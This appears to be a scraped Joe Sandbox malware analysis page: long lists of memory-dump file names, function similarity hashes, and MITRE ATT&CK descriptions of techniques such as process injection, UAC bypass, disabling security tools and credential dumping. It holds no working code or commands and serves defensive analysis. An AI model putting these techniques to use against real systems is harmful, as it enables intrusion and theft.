Associated: 00000003.00000002.2477756296.0000000000856000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477847682.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477865045.00000000009AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009BE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477917364.00000000009CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477932961.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477949580.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477965534.00000000009E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477984339.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477999982.00000000009F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478017120.00000000009FE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478035883.0000000000A00000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478052983.0000000000A08000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478081504.0000000000A13000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478097254.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478112964.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478131771.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478216480.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478245881.0000000000A29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478329770.0000000000A2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478347641.0000000000A34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478365926.0000000000A39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478382927.0000000000A3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478399618.0000000000A42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478417230.0000000000A4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478434248.0000000000A4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478448038.0000000000A4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478463827.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478480656.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478495209.0000000000A5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478510974.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478525686.0000000000A6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478542321.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478560481.0000000000A76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478577850.0000000000A7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478593665.0000000000A81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478612515.0000000000A90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478629800.0000000000A94000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000ADD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000AE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478697726.0000000000AF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478713371.0000000000AF7000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID:
String ID: NTDL
API String ID: 0-3662016964
Opcode ID: 7b37748791f6277f0098a448ed8d19431164cec9b1c52ee296d77961412f1da3
Instruction ID: fecfd6cde15bfb372cbbe1121f84db07af24ae94ea8f9bbf3c0d2cde79d6b225
Opcode Fuzzy Hash: 7b37748791f6277f0098a448ed8d19431164cec9b1c52ee296d77961412f1da3
Instruction Fuzzy Hash: 5071EC72908A1ECFCB05CF28C4411EFB7E1FF9A329F15462AE842D7A41C6B25D11DB4A

Function 009C1F4B Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477884596.00000000009BE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2477685035.0000000000840000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477705666.0000000000842000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477721787.0000000000846000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477738028.000000000084A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477756296.0000000000856000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477847682.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477865045.00000000009AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477917364.00000000009CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477932961.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477949580.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477965534.00000000009E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477984339.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477999982.00000000009F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478017120.00000000009FE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478035883.0000000000A00000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478052983.0000000000A08000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478081504.0000000000A13000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478097254.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478112964.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478131771.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478216480.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478245881.0000000000A29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478329770.0000000000A2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478347641.0000000000A34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478365926.0000000000A39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478382927.0000000000A3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478399618.0000000000A42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478417230.0000000000A4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478434248.0000000000A4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478448038.0000000000A4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478463827.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478480656.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478495209.0000000000A5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478510974.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478525686.0000000000A6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478542321.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478560481.0000000000A76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478577850.0000000000A7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478593665.0000000000A81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478612515.0000000000A90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478629800.0000000000A94000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000ADD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000AE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478697726.0000000000AF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478713371.0000000000AF7000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca14e3ec97260b37533652c878fcaebfd69de696a99c3342a252c188f36dc077
Instruction ID: 5343b4bf4a5c2c162bbb6ee2bd0b52d02f75cd430a7602c0a3bf31b972af2808
Opcode Fuzzy Hash: ca14e3ec97260b37533652c878fcaebfd69de696a99c3342a252c188f36dc077
Instruction Fuzzy Hash: CC415EB250C300AFE359AF29D881A6AFBE9FF98350F164C2DE2C5C7251DA355480CB57

Function 009C469F Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477884596.00000000009BE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2477685035.0000000000840000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477705666.0000000000842000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477721787.0000000000846000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477738028.000000000084A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477756296.0000000000856000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477847682.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477865045.00000000009AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477917364.00000000009CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477932961.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477949580.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477965534.00000000009E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477984339.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477999982.00000000009F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478017120.00000000009FE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478035883.0000000000A00000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478052983.0000000000A08000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478081504.0000000000A13000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478097254.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478112964.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478131771.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478216480.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478245881.0000000000A29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478329770.0000000000A2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478347641.0000000000A34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478365926.0000000000A39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478382927.0000000000A3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478399618.0000000000A42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478417230.0000000000A4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478434248.0000000000A4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478448038.0000000000A4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478463827.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478480656.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478495209.0000000000A5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478510974.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478525686.0000000000A6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478542321.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478560481.0000000000A76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478577850.0000000000A7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478593665.0000000000A81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478612515.0000000000A90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478629800.0000000000A94000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000ADD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000AE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478697726.0000000000AF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478713371.0000000000AF7000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f76bb572f323c953565e53f730b65c0a7f24e8a885ea0f24fa196e6b309239f7
Instruction ID: 93118f416cca075cfcd61241e34d928ca22bed89aaeed08da1ed67254c6aab55
Opcode Fuzzy Hash: f76bb572f323c953565e53f730b65c0a7f24e8a885ea0f24fa196e6b309239f7
Instruction Fuzzy Hash: 2AF027F65493A53EF3068E619E25FFB3FB8D793330F11806AF58196887D2540948A635

Function 009C4653 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2477884596.00000000009BE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2477685035.0000000000840000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477705666.0000000000842000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477721787.0000000000846000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477738028.000000000084A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477756296.0000000000856000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477847682.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477865045.00000000009AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477917364.00000000009CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477932961.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477949580.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477965534.00000000009E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477984339.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477999982.00000000009F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478017120.00000000009FE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478035883.0000000000A00000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478052983.0000000000A08000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478081504.0000000000A13000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478097254.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478112964.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478131771.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478216480.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478245881.0000000000A29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478329770.0000000000A2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478347641.0000000000A34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478365926.0000000000A39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478382927.0000000000A3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478399618.0000000000A42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478417230.0000000000A4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478434248.0000000000A4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478448038.0000000000A4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478463827.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478480656.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478495209.0000000000A5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478510974.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478525686.0000000000A6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478542321.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478560481.0000000000A76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478577850.0000000000A7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478593665.0000000000A81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478612515.0000000000A90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478629800.0000000000A94000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000ADD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000AE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478697726.0000000000AF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478713371.0000000000AF7000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae5f60552c5189835b42af7b18e83fe9cc50218f7b970d5a1a60175064d9cfee
Instruction ID: 70255ea0f9892b3fc293951a204df977479b997ffa437f2704b946ff3d93db29
Opcode Fuzzy Hash: ae5f60552c5189835b42af7b18e83fe9cc50218f7b970d5a1a60175064d9cfee
Instruction Fuzzy Hash: 44E068B39493A16FE314DA204FA5FFFBB38EBD2710F10C01EF18102C4AD22509689632

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
